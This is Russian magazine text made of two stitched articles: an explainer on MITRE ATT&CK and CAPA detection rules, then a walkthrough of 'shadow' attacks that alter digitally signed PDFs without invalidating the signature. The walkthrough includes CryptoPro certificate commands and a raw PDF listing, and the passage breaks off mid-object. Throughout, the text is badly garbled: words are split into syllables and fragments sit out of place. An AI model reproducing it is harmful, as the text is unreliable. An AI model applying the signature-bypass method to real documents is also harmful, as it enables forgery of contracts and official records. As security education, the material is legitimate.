Итак, что такое MITRE и что за ата ки? MITRE — это неком мерчес кая орга низа‐ 
ция,  которая  работа ет  в  США  и  управля ет  цен тра ми  иссле дова ний  и  раз‐ 
работок на уров не федераль ного пра витель ства и мес тно го само управле ния.
В  зону  инте ресов  MITRE  вхо дят:  искусс твен ный  интеллект,  кван товая
информа тика,  информа тика  в  области  здра воох ранения,  кос мичес кая
безопас ность,  обмен  дан ными  о  киберуг розах  и  средс твах  защиты  и  так
далее.

В сфе ре информа цион ной безопас ности кор порация MITRE извес тна бла‐ 
года ря  спис ку  CVE  (Common  Vulnerabilities  and  Exposures)  .
Это база обще извес тных уяз вимос тей, которая появи лась в 1999 году и с тех
пор ста ла одним из основных ресур сов,  где струк туриру ют и  хра нят дан ные
по  багам  в  ПО.  Имен но  эти  базы  исполь зуют  зло умыш ленни ки  при  пер вой
попыт ке про ник нуть в инфраструк туру жер твы пос ле ска ниро вания сети.

cve.mitre.org

CVE — не единс твен ный про ект MITRE, свя зан ный с защитой информа ции.
Сущес тву ют и активно раз вива ются так же такие нап равле ния:

ATT&CK  (Adversarial  Tactics,  Techniques,  and  Common  Knowledge), 
  —  это  струк туриро ван ный  спи сок  извес тных  тех ник,  при емов

и так тик зло умыш ленни ков, пред став ленный в виде таб лиц;

• attack‐
.mitre.org

Structured Threat  Information Expression  (STIX) — это  язык и фор мат  сери‐ 
али зации, исполь зуемый для обме на информа цией о киберуг розах (CTI —
Cyber  Threat  Intelligence)  меж ду  сис темами  информа цион ной  безопас‐ 
ности;

•

CAR (Cyber Analytics Repository) — база зна ний, раз работан ная на осно ве
модели  ATT&CK.  Она  может  быть  пред став лена  в  виде  псев докода,
и коман ды защит ников могут исполь зовать ее при соз дании логики детек‐ 
тирова ния в сис темах защиты;

•

SHIELD  Active Defense — база  зна ний  по  активной  защите,  которая  сис‐ 
темати зиру ет методы безопас ности и допол няет меры сни жения рис ков,
пред став ленные в ATT&CK;

•

AEP  (ATT&CK Emulation Plans) — это  спо собы модели рова ния  поведе ния
зло умыш ленни ка  на  осно ве  опре делен ного  набора  TTP  (Tactics,  Tech‐
niques, and Procedures) по ATT&CK.

•

Оте чес твен ные регуля торы, кста ти, тоже занима ются подоб ными иссле дова‐ 
ниями  —  5  фев раля  2021  года  ФСТЭК  Рос сии  выпус тил 

 по оцен ке угроз безопас ности информа ции. На трид цатой стра нице
показан при мер сце нария ата ки.

ме тоди чес кое
пособие

Фраг мент методи чес кого пособия

В народе эту таб лицу уже проз вали FST&CK, но это уже сов сем дру гая исто‐ 
рия...

ЗАЧЕМ НАМ ATT&CK
MITRE  пред ста вил  мат рицу  ATT&CK  в  2013  году  как  спо соб  опи сания
и  катего риза ции  поведе ния  зло умыш ленни ков  (сос тавле ния  пат тернов
поведе ния) на осно ве реаль ных наб людений. Преж де чем начать раз бирать,
как  поль зовать ся  мат рицей,  давай  прой дем ся  по  основным  поняти ям  (не
пережи вай, их все го три).

APT (Advanced Persistent Threat) — это груп па зло умыш ленни ков или даже
стра на,  которые  учас тву ют  в  про дол житель ных  кибера таках  на  орга низа ции
или стра ны. Дос ловный перевод тер мина — прод винутая пос тоян ная угро за.
Про читав всю статью, ты пой мешь, что осо бо прод винуто го ничего нет.

WWW

,  который
ведут фанаты информа цион ной безопас ности.
Боль шой  спи сок  извес тных  APT‐групп

На боры TTP (тех ники, так тики и про цеду ры), рас шифро выва ются сле дующим
обра зом:

  —  как  зло умыш ленник  дей ству ет  на  раз ных  эта пах  сво ей  опе‐ 
рации,  какая  цель  или  задача  зло умыш ленни ка  на  опре делен ным  шаге,
нап ример:   — это ког да зло умыш ленник пыта ется запус‐ 
тить  свой  вре донос ный  код.  Да,  зву чит  баналь но,  но  ты  пос мотри,  что
будет даль ше;

• так тика

TA0002 Execution

 — как зло умыш ленник дос тига ет цели или пос тавлен ной задачи,
какие исполь зует инс тру мен ты, тех нологии, код, экс пло иты, ути литы и так
далее.  При мер:    —  исполь зование  PowerShell
при ата ке;

• тех ника

T1059.001  PowerShell

 —  как  эта  тех ника  выпол няет ся  и  для  чего.  Нап ример:  вре‐ 
донос ная прог рамма, исполь зуя PowerShell,  ска чива ет пей лоад,  который,
в свою оче редь, заг ружа ет Cobalt Strike для попыт ки запус ка на уда лен ных
хос тах (чуешь, что тут про изош ло объ еди нение тех ники и так тики?).

• про цеду ра

Как вооб ще дей ству ет ата кующий? Он откры вает свой учеб ник для 
хакеров, где на вто рой стра нице зна комит ся с поняти ем Kill Chain. Kill Chain,
то  есть  «цепоч ка  убий ства», — модель,  опре деля ющая  пос ледова тель ность
дей ствий,  ведущих  наруши теля  к  цели.  Она  сос тоит  из  ряда  обыч но  пос‐ 
ледова тель ных эта пов:

мам киных

reconnaissance — раз ведка;•
weaponization — под готов ка к ата ке, опре деле ние инс тру мен тария и deliv‐
ery — дос тавка;

•

exploitation — экс плу ата ция арсе нала;•
installation — уста нов ка;•
command & control (С2) — управле ние через коман дные сер веры;•
lateral movement — горизон таль ное переме щение, рас простра нение внут‐ 
ри сети;

•

objectives — целевое воз дей ствие.•

Мат рица MITRE ATT&CK началась с внут ренне го про екта, извес тно го как FMX
(Fort  Meade  Experiment).  В  рам ках  его  спе циалис там  по  безопас ности  пос‐ 
тавили задачу ими тиро вать враж дебные TTP про тив сети, а дан ные об ата ках
на эту сеть затем собира ли и ана лизи рова ли. Имен но эти дан ные потом лег ли
в осно ву ATT&CK. Пос коль ку мат рица ATT&CK пред став ляет собой доволь но
пол ное опи сание поведе ния, которое зло умыш ленни ки исполь зуют при взло‐ 
ме сетей, мат рица полез на для раз личных нас тупатель ных и защит ных изме‐ 
рений, пред став лений и дру гих механиз мов (нап ример, модели рова ния угроз
по ФСТЭК).

MITRE раз бил ATT&CK на нес коль ко свод ных мат риц:
Enterprise — TTP, исполь зуемые при ата ках на орга низа ции;•
Mobile — TTP, свя зан ные с перенос ными устрой ства ми;•
ICS — Industrial Control Systems, TTP для индус три аль ных сис тем.•

В каж дой из них — так тики и тех ники, свя зан ные с пред метом этой мат рицы.
Самая  популяр ная  мат рица  —  Enterprise.  Она,  в  свою  оче редь,  сос тоит
из ответ вле ний, ответс твен ных каж дое за свое:

PRE Matrix — пред варитель ные лас ки;•
Windows — ата ки на инфраструк туры на осно ве Windows;•
macOS — то же для ябло компь юте ров;•
Linux — догадай ся;•
Cloud — ата ки на обла ка;•
Network — ата ки на сеть.•

Даль ше мы рас смот рим имен но эту мат рицу. Раз бивка на под матри цы сде‐ 
лана не прос то так. Нап ример, PRE Matrix и осталь ные час ти мож но наложить
на эта пы кил лчейн сле дующим обра зом.

Мат рица ATT&CK Enterprise для модели Kill Chain

Как видишь,  в PRE Matrix  содер жатся дан ные,  которые  каса ются под готови‐ 
тель ных  эта пов  ата ки,  нап ример  ска ниро вание  и  инвента риза ция  сети,
фишинг или соци аль ная инже нерия. А осталь ные под табли цы 

  содер жат  самое  инте рес ное.  В  вер хней  час ти  мат рицы  рас положе‐ 
но 14 катего рий. Каж дая катего рия содер жит так тики, которые может исполь‐ 
зовать зло умыш ленник.

мат рицы Enter‐
prise

Ка тего рии мат рицы ATT&CK Enterprise и количес тво вло жен ных тех ник
в каж дой катего рии

Раз берем, нап ример, так тику Execution (исполне ние). Сколь кими спо соба ми
мож но  что‐либо  запус тить  на  конеч ной  сис теме?  Выдумы вать  велоси пед
и собирать кон сорци ум уже не нуж но, все дав но про дума ли умные дяди. Рас‐ 
кро ем выб ранную так тику TA0002 Execution и уви дим, сколь ко тех ник исполне‐ 
ния быва ет. Их все го десяток, не счи тая под техник:

T1059  —  Command  and  Scripting  Interpreter,  коман дные  и  скрип товые
интер пре тато ры;

•

T1203 — Exploitation for Client Execution, исполь зование уяз вимос тей в кли‐ 
ент ском ПО;

•

T1559  —  Inter‐Process  Communication,  исполь зование  меж про цес сно го
вза имо дей ствия;

•

T1106 — Native API, вза имо дей ствие с API опе раци онной сис темы;•
T1053 — Scheduled Task/Job, жизнь в пла ниров щиках;•
T1129 — Shared Modules, заг рузка DLL;•
T1072 — Software Deployment Tools, исполь зование сис тем раз верты вания
ПО;

•

T1569 — System Services, при мене ние служб;•
T1204 — User Execution, дей ствия поль зовате ля, нап равлен ные на удобс‐ 
тво зло умыш ленни ка;

•

T1047 — Windows Management Instrumentation, исполь зование WMI.•

У  тех ники  могут  быть  свои  под техни ки.  Если  ты  клик нешь  на  пра вую  часть
(нев разуми тель ную серую тра пецию), они рас кры вают ся.

Под техни ки T1059 Command and Scripting Interpreter

Скрип ты  и  коман ды  ука заны  для  раз ных  популяр ных  ОС,  которые  могут
исполь зовать ся  при  про веде нии  вре донос ной  кам пании.  Если  клик нуть
по  над писи,  откры вает ся  стра ница,  пос вящен ная  опи санию  опре делен ной
тех ники,  как при мер — по кли ку на   откры‐ 
вает ся  дос туп  ко  всей  свя зан ной  информа ции,  каса ющей ся  это го  метода,
а имен но: крат кое опи сание тех ники, при меры про цедур по раз личным груп‐ 
пиров кам и меры для сни жения рис ков.

Command and Scripting  Interpreter

При модели рова нии угроз по новой методи ке ФСТЭК ты дол жен исполь‐ 
зовать набор TTP, как конс трук тор Lego. Видишь ата ку — фор мируй все пути
ее реали зации (сце нарии) из кубиков TTP, при чем MITRE ATT&CK ука зыва ется
как один из воз можных источни ков для фор мирова ния исходных дан ных.

Что бы выделить исполь зуемые  тех ники,  так тики и про цеду ры, пос ле ана‐ 
лиза вре донос ной прог раммы мож но вос поль зовать ся 
 вмес то Excel. Для при мера можешь пос мотреть 

.

MITRE ATT&CK Naviga‐
tor раз ложения целевой ата ки
Carbanak на TTP

Ко роче, мат рицу MITRE ATT&CK исполь зовать мож но и нуж но — и в рам ках
ана лиза  вре донос ного  ПО,  и  для  сопос тавле ния  так тик  и  методов  раз ных
груп пировок. В качес тве при мера можешь пос мотреть 
,  в  котором  раз бира ется шиф роваль щик  ProLock.  Там  есть  раз дел MITRE

ATT&CK Mapping, где рас писаны исполь зуемые так тики и тех ники.

ис сле дова ние Group‐
IB

Для  авто мати зации мап пинга  мож но  исполь зовать  офи циаль ный  инс тру‐ 
мент (пока он beta) Threat Report ATT&CK Mapper (TRAM), который с помощью
механиз мов  NLP  (обра бот ка  тек стов  на  естес твен ном  язы ке)  по  клю чевым
сло вам пред лага ет соот ветс тву ющую так тику или тех нику. Ана лити ку в таком
слу чае  оста ется  толь ко  под твер дить  либо  откло нить  пред ложение.  Эту  ути‐ 
литу мы рас смот рим в одном из будущих матери алов.

ПРАВИЛА CAPA
Раз решения,  которые  зап рашива ет  при  уста нов ке  поч ти  любое  при ложе ние
для  Android,  дав но  прив лека ют  вни мание  ИБ‐спе циалис тов.  Обыч но  про сят
и дос туп  к  камере, и  к мик рофону, и  к  сети...  Конеч но же,  что бы отправ лять
все это тво ему курато ру!

Ис сле дова телям из  FireEye  это  пон равилось — а  что меша ет  про верить,
какие воз можнос ти есть у опре делен ного исполня емо го фай ла? Ска зано —
сде лано, и тут в игру всту пают  .пра вила CAPA

При мер Android‐при ложе ния с его раз решени ями

При динами чес ком ана лизе объ екта он запус кает ся в изо лиро ван ной сре де
и монито рит ся вся активность на  уров не  гипер визора или спе циаль ных  ути‐ 
лит.  Исполь зуя  CAPA‐пра вила  (они,  кста ти,  опен сор сные),  ана литик  может
сок ратить  вре мя,  про вес ти  пред варитель ный  ста тичес кий  ана лиз  объ екта
и  скон цен три ровать ся  на  потен циаль ных  активнос тях  и  воз можнос тях  прог‐ 
раммы по мат рице MITRE ATT&CK.

Вот  как  выг лядит  вывод  CAPA  при  ана лизе  .exe.  Подопыт ная  прог рамма
была  написа на  на  Python  и  соб рана  в  исполня емый  файл  с  помощью 

.
au‐

to_py_to_exe

При мер ана лиза с помощью пра вил САРА фай ла 1.exe

Ви дим, что ана лизи руемый файл исполь зует три так тики и пять тех ник по мат‐ 
рице  MITRE  ATT&CK.  Помимо  это го,  CAPA  выводит  спи сок  воз можнос тей
исполня емо го фай ла по исполь зуемым фун кци ям.

Ис поль зуемые фун кции объ екта 1.exe

Ав томати чес кое  опре деле ние  воз можнос тей  в  CAPA  реали зова но  через
поиск  харак терных  арте фак тов.  Это  исполь зуемые  вызовы  API,  стро ки,  кон‐ 
стан ты, соз дание мьютек сов и сокетов, под гру жаемые либы. Эти арте фак ты
зада ются пра вила ми (похожи ми на пра вила YARA), которые помога ют выявить
фун кции, реали зован ные во вре доно се.

Рас смот рим при мер пра вила САРА.

CAPA‐пра вило: schedule task via command line

В  пер вую  оче редь CAPA  извле кает  стро ки  и  кон стан ты,  которые могут  быть
име нами фун кций  или  о  чем‐то  говорить  экспер ту.  Най ден ное  раз деля ется
на фай ловые свой ства и резуль таты дизас сем бли рова ния (стро ки, кон стан ты,
вызовы). Фай ловые  свой ства —  это  заголов ки  и  импорти руемые  API  (в  том
чис ле  наз ваний  исполь зуемых  фун кций).  В  при мере  выше  исполь зует ся
логичес кое усло вие:

            \      
   

создание_процесса И [(строка /schtasks/i И строка / /create /i) ИЛИ
строка /Register‐ScheduledTask /i]

То есть пра вило детек тиру ет кон соль ные коман ды, с помощью которых соз‐ 
дают ся задачи в пла ниров щике Windows.

Сто ит  упо мянуть,  что  пра вила  CAPA  работа ют  толь ко  с  объ екта ми  фор‐ 
матов PE (Portable Executable). Для получе ния боль шего количес тва деталей
по образцу исполь зуй клю чи   и  .‐v ‐vv

ВЫВОДЫ
Со общес тво  людей,  заин тересо ван ных  в  под дер жке  филосо фии  MITRE
ATT&CK,  с  каж дым  годом все боль ше,  поэто му и при мене ние этой мат рицы
ста новит ся  мей нстри мовым.  К  при меру,  вен доры  исполь зуют  ATT&CK
для соз дания алер тов в сво их про дук тах. Такой под ход упро щает рас сле дова‐ 
ние инци ден тов и реаги рова ние на них. В общем, ATT&CK — это не прос то
хайп, а важ ная и для все го рын ка кибер безопас ности база зна ний.

Мат рица MITRE ATT&CK в отче те Group‐IB Polygon ком плек са Threat Hunt‐
ing Framework

Мат рица  поз воля ет  стро ить  модели  угроз  для  раз ных  типов  ком паний
и показы вать, какие из извес тных угроз мож но зак рыть кон крет ными решени‐ 
ями. В теории это выг лядит так: ком пания, выбира ющая решения для защиты
сво ей  инфраструк туры,  про еци рует  воз можнос ти  зло умыш ленни ка  на  мат‐ 
рицу ATT&CK и смот рит, какие акту аль ные угро зы оста лись незак рытыми.

Про филь  кибер груп пировок  и  их  кам паний  по  MITRE  ATT&CK  помога ет
понять,  какие  инс тру мен ты  исполь зуют  зло умыш ленни ки,  озна комить ся  с  их
тех никами  и  так тиками.  Эти  зна ния  поз воля ют  прог нозиро вать  веро ятную
точ ку вхо да в орга низа ции.

Ак тивное и пов семес тное при мене ние базы зна ний ATT&CK поз волит уни‐ 
фици ровать под ход все го сооб щес тва кибер безопас ности — как бы поможет
говорить на общем язы ке.

При этом важ но пом нить, что две пос ледние бук вы в сок ращении ATT&CK
озна чают Common Knowledge, то есть «обще извес тные вещи». Мат рица стро‐ 
ится на осно ве  уже про веден ных атак и дает поведен ческую справ ку о  том,
какие  TTP  исполь зовались.  Бес спор но,  это  отличная  база  зна ний,  которая
удоб на в исполь зовании, и у нее очень силь ная под дер жка. Одна ко парадокс
в  том,  что  она  никог да  пол ностью  не  опи шет  абсо лют но  все  тех ники  зло‐ 
умыш ленни ка, хоть и стре мит ся имен но к это му.
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ВЗЛОМ

Го тов  пос порить:  ты  навер няка  не  раз  стал кивал ся
с  докумен тами  в  фор мате  PDF,  име ющи ми  циф ровую  под‐ 
пись.  Под писан ные  PDF‐фай лы  исполь зуют ся  в  кон трак тах
и  сче тах‐фак турах,  еще  циф ровой  под писью  снаб жают ся
все воз можные  выпис ки  и  справ ки  на  сай те  Госус луг  или  в
лич ном  кабине те  налогоп латель щика.  Циф ровая  под пись
дол жна  гаран тировать  под линность  и  целос тность  содер‐ 
жимого докумен та. Если его изме нят, поль зователь, открыв
файл,  уви дит  соот ветс тву ющее  пре дуп режде ние.  Одна ко
это огра ниче ние мож но обой ти с помощью нес коль ких  хит‐ 
рых трю ков.

PDF и XML — очень гиб кие фор маты. Гиб кость дает удобс тво, ради которо го
при ходит ся  жер тво вать  безопас ностью.  В  обо их  фор матах  каж дый  год
находят  мно жес тво  уяз вимос тей,  свя зан ных  как  с  крип тогра фией,  так  и  со
струк турой самого фай ла. И вот в оче ред ной раз доказа но: даже элек трон ная
под пись  не  дает  абсо лют ной  уве рен ности,  что  в  нед рах  элек трон ного
докумен та кто‐то не покопал ся шалов ливыми руками.

WARNING

Эта  пуб ликация  пред став лена  в  информа цион‐ 
но‐озна коми тель ных  целях.  Ни  автор,  ни  редак‐ 
ция  не  несут  ответс твен ности  за  любой  воз‐ 
можный вред, при чинен ный матери ала ми дан ной
статьи.

ЭКСКУРС В PDF
PDF,  или  Portable  Document  Format, —  это,  как  вид но  из  наз вания,  перено‐ 
симый  элек трон ный  документ.  Этим  фор матом  поль зуют ся  во  мно гих
областях,  преж де  все го  в  биз несе.  PDF  был  раз работан  ком пани ей  Adobe
еще  в  далеком 2005  году. Вплоть  до  2020  года фор мат  пре тер певал  изме‐ 
нения четыре раза: в него добав лялись встро енные фай лы, ссыл ки, скрип ты
и раз ного рода фун кции. Тот фор мат, который мы зна ем на момент написа‐ 
ния этой статьи  (PDF 2.0),  вышел не  так дав но — в  кон це 2020  года вмес те
с его спе цифи каци ей ISO  .32000‐2

INFO

PDF  вклю чает  в  себя  часть фун кций  язы ка 
.  Мож но  .

Есть  прин теры,  которые  уме ют  самос тоятель но
интер пре тиро вать PDF в PostScript.

Post‐
Script тран сли ровать  PDF  в  PostScript

В пер вом приб лижении струк тура самого докумен та PDF не очень слож ная.
Файл сос тоит из сле дующих эле мен тов:

за голо вок (header);•
те ло фай ла (body);•
таб лица перек рес тных ссы лок (cross‐reference table);•
блок поис ка таб лиц объ ектов и ссы лок (trailer).•

Струк тура PDF‐фор мата

За голо вок  —  это  всег да  самая  пер вая  стро ка  фай ла,  которая  опре деля ет
номер спе цифи кации.

За голо вок PDF

Те ло содер жит ссыл ки на объ екты. К ним отно сят ся стра ницы, изоб ражения,
шриф ты.  Ком мента рии  могут  рас полагать ся  во  всем  PDF‐фай ле.  Их  син‐ 
таксис сов пада ет с син такси сом ком мента риев в PostScript, начина ются они
с сим вола   и закан чива ются сим волом кон ца стро ки.%

В  таб лице  хра нит ся  информа ция  об  объ ектах  в фай ле:  эта  таб лица  сос‐ 
тоит  из  раз делов,  количес тво  которых  зависит  от  чис ла  объ ектов,  добав‐ 
ленных в файл. Trailer помога ет прог рамме, откры вающей файл, находить таб‐ 
лицу перек рес тных ссы лок и спе циаль ные объ екты. К сло ву, при ложе ния дол‐ 
жны читать PDF‐файл с кон ца.

Чем  даль ше  в  лес,  тем  боль ше  дров:  за  струк турой фор мата  «пря чет ся»
так называ емая струк тура пуб ликации.

Струк тура пуб ликации

Уг лублять ся  в  эти  деб ри  мы  не  будем,  дос таточ но  знать,  что  текст  внут ри
докумен та сжат и во внут реннос тях фай ла его уви деть не получит ся. Вот как,
нап ример,  выг лядит  гла ва  из  кни ги  в  фор мате  PDF,  если  попытать ся  прос‐ 
мотреть ее как прос той тек сто вый файл.

Со дер жание PDF с точ ки зре ния компь юте ра

АТАКА
Сна чала давай раз берем ся с уяз вимостью. Пред ста вим, что у нас есть Али са
(под писыва ет  документ)  и  Боб  (получа ет  под писан ный  Али сой  документ)  и,
естес твен но, сам документ. Али са сво им сер тифика том под писала документ
и отпра вила его Бобу. Боб уве рен в том, что документ под линный, так как он
с под писью. Но вот что будет, если документ готови ла не Али са (она толь ко
под писала) и отправ ляла тоже не она? Ата ка с под меной содер жимого под‐ 
писан ного докумен та обыч но про исхо дит в три эта па.
1. Ха кер готовит документ, в котором при сутс тву ет так называ емое теневое
содер жимое.  Это  мож но  срав нить  с  пус тым  лис том  в  сши том  догово ре,
куда мож но добавить фраг мент пос ле под писания.

2. Ха кер отправ ляет этот документ Али се. Али са под писыва ет его и отправ‐ 
ляет  обратно  хакеру.  Хакер  меня ет  содер жимое  докумен та  так,  что бы
не сло мать под пись.

3. Ха кер  отправ ляет  изме нен ный  документ  Бобу.  Боб  уве рен  в  том,  что
документ нас тоящий, и обра баты вает его.

О сущес тво вании этой уяз вимос ти упо мина лось еще в  , ког да PDF
соот ветс тво вал спе цифи кации  . Одна ко пос ле выхода новой вер‐ 
сии  фор мата  хакеры  про вели  оче ред ное  иссле дова ние  и 

,  раз рабаты вающих  прог рам мное  обес печение  для  работы
с PDF.

2012 году
ISO 19005‐3

прив лекли  вни‐ 
мание  ком паний

Есть  три  спо соба  изме нить  содер жимое  уже  под писан ного  докумен та:
скры тие, замена, а так же скры тие и замена.

Скрытие
Ре зуль татом  этой  ата ки  будет  сок рытие  какого‐либо  кон тента  за  видимым
содер жимым  фай ла.  Как  толь ко  хакер  получа ет  под писан ный  Али сой
документ,  он  манипу лиру ет  докумен том  таким  обра зом,  что  видимый  слой
боль ше не отоб ража ется в при ложе нии прос мотра. При чем теперь уже ранее
невиди мые объ екты ста новят ся вид ны в PDF‐фай ле.

Замена
Ос новная  идея  вари анта  «Замена»  —  добавить  в  под писан ный  документ
новые  объ екты,  которые  счи тают ся  без вред ными,  но  нап рямую  вли яют
на пред став ление содер жимого. Нап ример, опре деле ние шриф тов нап рямую
не меня ет  содер жимое. Одна ко  это  вли яет  на  вид отоб ража емо го  кон тента
и дела ет воз можной замену цифр или сим волов.

Эта ата ка нацеле на на инте рак тивные фор мы. Фор мы под держи вают раз‐ 
личные мас ки  вво да  (нап ример,  тек сто вые  поля,  тек сто вые  области,  перек‐ 
лючате ли  и  кноп ки  выбора),  где  поль зовате ли  динами чес ки  вво дят  новое
содер жимое  и  сох раня ют  его  в  докумен те.  Фор мы  так же  могут  иметь  зна‐ 
чения по умол чанию, которые при необ ходимос ти мож но изме нить.

Ха кер готовит файл, в котором опре деля ется шрифт, и его опи сание вклю‐ 
чает ся в документ. Пос ле под писания докумен та зло умыш ленни ки добав ляют
новое  опи сание  шриф та  и  переза писы вают  пре дыду щее.  Пос коль ку  опре‐ 
деле ние новых шриф тов счи тает ся безобид ным, при ложе ния,  про веря ющие
под пись, не показы вают никаких пре дуп режде ний о вне сен ных изме нени ях.

Скрытие и замена
В  вари анте  ата ки  «Скры тие  и  замена»  PDF‐файл  содер жит  вто рой  скры тый
документ  с  дру гим  содер жимым.  Так  как  Али са  не  может  уви деть  скры тое
содер жимое,  она  под писыва ет  документ. Пос ле  под писания  хакер  получа ет
файл  и  добав ляет  толь ко  новую  таб лицу  внеш них  ссы лок  и  трей лер.  В  таб‐ 
лице внеш них ссы лок про исхо дит лишь одно изме нение: ссыл ка на опи сание.

Дру гими  сло вами,  хакер  соз дает  файл  PDF,  содер жащий  два  объ екта
с  одним  и  тем  же  иден тифика тором,  но  раз ным  содер жани ем.  Пос коль ку
вклю чение таб лицы  ,  ука зыва ющей на уже опре делен ный объ ект в под‐ 
писан ной  области,  счи тает ся  без вред ным,  никаких  пре дуп режде ний  о  вне‐ 
сен ных  хакером  изме нени ях  не  пос тупа ет,  и  про вер ка  под писи  про ходит
успешно. Тем не менее Боб и Али са видят раз ный кон тент в одном и том же
фай ле.

xref

Этот  вари ант  ата ки  наибо лее  мощ ный,  так  как  поз воля ет  изме нить  все
содер жимое  докумен та.  Хакер  может  соз дать  теневой  документ,  вли яющий
на  отоб ражение  каж дой  стра ницы  или  даже  на  общее  количес тво  стра ниц,
а так же на каж дый содер жащий ся в фай ле объ ект.

В то же вре мя этот вари ант самый «шат кий», так как при под писании могут
быть уда лены неис поль зуемые объ екты, в том чис ле — теневые. Кро ме того,
ска нер  безопас ности  может  обна ружить  боль шое  количес тво  лиш них
незадей ство ван ных объ ектов и выдать пре дуп режде ние.

Реализация
Я  рас смот рю  пер вый  вид  ата ки  «Скры тие»  с  эле мен тами  ата ки  «Скры тие
и замена», так как они по сво ей сути похожи. Что бы реали зовать ата ку, нуж но
пом нить: таб лица перек рес тных ссы лок (cross‐reference table) — это обыч ная
тек сто вая таб лица. Она начина ется со сло ва   и содер жит в себе ссыл ки
на все объ екты.

xref

При мер таб лицы перек рес тных ссы лок

Циф ра   на иллюс тра ции выше обоз нача ет пер вый номер объ екта в таб лице,
  —  количес тво  объ ектов.  Пер вый  эле мент  таб лицы  всег да  име ет  вид

. 65535 — это чис ло по умол чанию для пер вого эле мен‐ 
та в таб лице.   (free) — объ ект не исполь зует ся. Нап ротив исполь зуемых объ‐ 
ектов  сто ит  .  Далее  идет    —  это  сме щение  от  начала  фай ла
до объ екта. Таких таб лиц в докумен те будет столь ко, сколь ко в фай ле добав‐ 
ленных объ ектов.

0
334
XXXXXXXXXX 65535 f

F
n XXXXXXXXXX

Пос ле  таб лицы  идет  ,  затем  зна чение  ,  ука зыва ющее
сме щение  от  начала  фай ла  до  таб лицы.  Чте ние  докумен та  прог раммой
начина ется с кон ца. Для выпол нения ата ки нам понадо бят ся сле дующие инс‐ 
тру мен ты:

trailer startxref

Adobe Acrobat DC;•
Крип тоПро CSP для Windows;•
Крип тоПро CSP для Linux;•
Крип тоПро PDF;•
сер тификат, ключ;•
Notepad++ (им я редак тирую внут реннос ти PDF);•

.• ImDisk

Пе ред  тем  как мы  нач нем  пот рошить  PDF‐файл,  необ ходимо  получить  ключ
с  сер тифика том,  которые  будут  при год ны  для  Крип тоПро.  Сге нери ровать
ключ в OpenSSL не получит ся. Поэто му запус каем Linux‐машину, идем на сайт
Крип тоПро и  ска чива ем    для  сво ей ОС  (у меня  он  пред став лен
в виде фай ла  ). Пред варитель но надо зарегис три ровать ся.

дис три бутив
.deb

Спи сок фай лов в дис три бути ве

Уста нав лива ем пакет:

./install.sh 

Те перь перехо дим в пап ку  . Там дол жны появить ся
сле дующие  бинар ники:  ,  ,  ,  ,  ,

,  ,  ,  ,  .

/opt/cprocsp/bin/amd64
certmgr cpverify cryptcp csptest csptestf

curl der2xer genkpim inittst wipefile
Ге нери руем сер тификат:

   81   
         

           
http://www.cryptopro.ru/certsrv 

cryptcp ‐creatcert ‐provtype ‐dn "C=RU, L=Rostov‐na‐Donu, CN=srv, 
1.2.643.100.5=305867501589415" ‐exprt ‐ex ‐cont "\\\\.\\HDIMAGE\\srv"
‐ku ‐certusage "1.3.6.1.5.5.7.3.1" ‐hashAlg "1.2.643.7.1.1.2.3" ‐ca

В этой коман де исполь зуют ся сле дующие клю чи:
 —  иден тифика тор  наз начения.  Раз лича ют  про вер ку  сер вера

и кли ента. Для нашего слу чая он неважен;
• certusage

 —  алго ритм шиф рования  для  сер тифика та.  Что бы  пос мотреть,
какие  они  есть,  мож но  выпол нить  коман ду 

;

• hashAlg

cpconfig  defprov  –

view_type

  —  центр  сер тифика ции,  который  под пишет  нам  пару  клю ча  с  сер‐ 
тифика том. Дан ная пара будет валид ной, но дей ство вать будет толь ко три
месяца;

• СА

 — имя кон тей нера, в которое сох ранит ся ключ с сер тифика том.• сont

Про веря ем соз данный кон тей нер:

./certmgr –list 

Дол жен появить ся кон тей нер как на скрин шоте ниже.

Кон тей нер в Linux‐сис теме

Пе рехо дим  в  пап ку  ,  в  которой  дол жна
появить ся дирек тория с име нем, ука зан ным в коман де генера ции это го кон‐ 
тей нера.  В  этой  дирек тории  ты  най дешь  шесть  фай лов  с  рас ширени ем 

  это  и  есть  кон тей нер.  Ска чива ем  и  переки дыва ем  его  на  машину
с Windows.

/var/opt/cprocsp/keys/root

 —.key

Это еще не все. Крип тоПро с ее CSP счи тает (да и пра виль но счи тает, ско‐ 
рее  все го),  что  крип токон тей нер  не  дол жен  хра нить ся  на  жес тком  дис ке.
Для  это го  были  при дума ны  токены.  Но  так  как  под  рукой  у  нас  токена  нет,
а  есть  толь ко  жес ткий  диск,  будем  изоб ретать  велоси пед.  Для  это го  нам
понадо бит ся  . Ска чива ем и уста нав лива ем его.ImDisk

Эта  прог рамма  уме ет  соз давать  сво его  рода  зак рытое  прос транс тво
на  дис ке.  Да,  нам  при дет ся  соору дить  допол нитель ный  вир туаль ный  HDD
у себя на компь юте ре. Я соз дал раз дел раз мером 60 Мбайт, в нем — пап ку
и  вот  в  нее  закинул  фай лы  кон тей нера.  Теперь  Крип тоПро  видит  и  ключ,
и сер тификат.

Крип тоПро CSP

Пе рехо дим к под готов ке самого фай ла. Необ ходимо иметь на машине редак‐ 
тор PDF — я выб рал проб ную вер сию  , а так же 

 для воз можнос ти под писать файл.
Adobe Acrobat DC Крип тоПро

PDF
От кры ваем  Acrobat  и  соз даем  пус той  файл.  Пишем  посере дине  ][aker.

Сох раня ем  и  зак рыва ем  его.  При мер но  так  выг лядят  внут реннос ти  пус того
фай ла с одним сло вом, которое мы вве ли:

%PDF‐1.3 
3 0 obj 

/Type /Page <<
/Parent 1 0 R 
/Resources 2 0 R 
/Contents 4 0 R>> 
endobj 
4 0 obj 

/Filter /FlateDecode /Length 86>> <<
stream 
xњ3Rрв2Р35W(зr 
QРw3T02С30PISp 
   кZ*›лY)„¤(hg¦з)д¦*”д+¤§–($*Ґ–'Ґиi*„dЃф  ьM 
endstream 
endobj 
1 0 obj 

/Type /Pages <<
/Kids [3 0 R ] 
/Count 1 
/MediaBox [0 0 595.28 841.89] 
>> 
endobj 
5 0 obj 

/Type /Font <<
/BaseFont /Helvetica‐Bold 
/Subtype /Type1 
/Encoding /WinAnsiEncoding 
>> 
endobj 
2 0 obj 
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] 
/Font <<
/F1 5 0 R 
>> 
/XObject <<
>> 
>> 
endobj 
6 0 obj 
<<
/Producer (PyFPDF 1.7.2 http://pyfpdf.googlecode.com/) 
/CreationDate (D:20201116165607) 
>> 
endobj 
7 0 obj 
<<
/Type /Catalog 
/Pages 1 0 R 
/OpenAction [3 0 R /FitH null] 
/PageLayout /OneColumn 
